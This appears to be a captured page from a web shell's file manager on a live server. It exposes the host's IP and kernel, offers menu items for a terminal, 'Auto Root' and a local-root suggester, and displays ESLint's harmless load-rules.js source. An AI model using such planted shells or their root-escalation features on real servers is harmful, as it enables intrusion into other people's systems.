Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.217.80
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
nodejs /
eslint /
lib /
cli-engine /
Delete
Unzip
Name
Size
Permission
Date
Action
config-array
[ DIR ]
drwxr-xr-x
2024-07-10 10:55
formatters
[ DIR ]
drwxr-xr-x
2024-07-10 10:55
cascading-config-array-factory.js
13.78
KB
-rw-r--r--
2019-09-14 01:35
cli-engine.js
34.83
KB
-rw-r--r--
2023-12-15 20:21
config-array-factory.js
31.51
KB
-rw-r--r--
2023-12-15 20:21
file-enumerator.js
15.91
KB
-rw-r--r--
2023-12-15 20:21
hash.js
1.04
KB
-rw-r--r--
2019-09-14 01:35
ignored-paths.js
12.54
KB
-rw-r--r--
2019-09-14 01:35
index.js
99
B
-rw-r--r--
2019-09-14 01:35
lint-result-cache.js
5.04
KB
-rw-r--r--
2023-12-15 20:21
load-rules.js
1.32
KB
-rw-r--r--
2019-09-14 01:35
xml-escape.js
936
B
-rw-r--r--
2019-09-14 01:35
Save
Rename
/** * @fileoverview Module for loading rules from files and directories. * @author Michael Ficarra */ "use strict"; //------------------------------------------------------------------------------ // Requirements //------------------------------------------------------------------------------ const fs = require("fs"), path = require("path"); const rulesDirCache = {}; //------------------------------------------------------------------------------ // Public Interface //------------------------------------------------------------------------------ /** * Load all rule modules from specified directory. * @param {string} relativeRulesDir Path to rules directory, may be relative. * @param {string} cwd Current working directory * @returns {Object} Loaded rule modules. */ module.exports = function(relativeRulesDir, cwd) { const rulesDir = path.resolve(cwd, relativeRulesDir); // cache will help performance as IO operation are expensive if (rulesDirCache[rulesDir]) { return rulesDirCache[rulesDir]; } const rules = Object.create(null); fs.readdirSync(rulesDir).forEach(file => { if (path.extname(file) !== ".js") { return; } rules[file.slice(0, -3)] = require(path.join(rulesDir, file)); }); rulesDirCache[rulesDir] = rules; return rules; };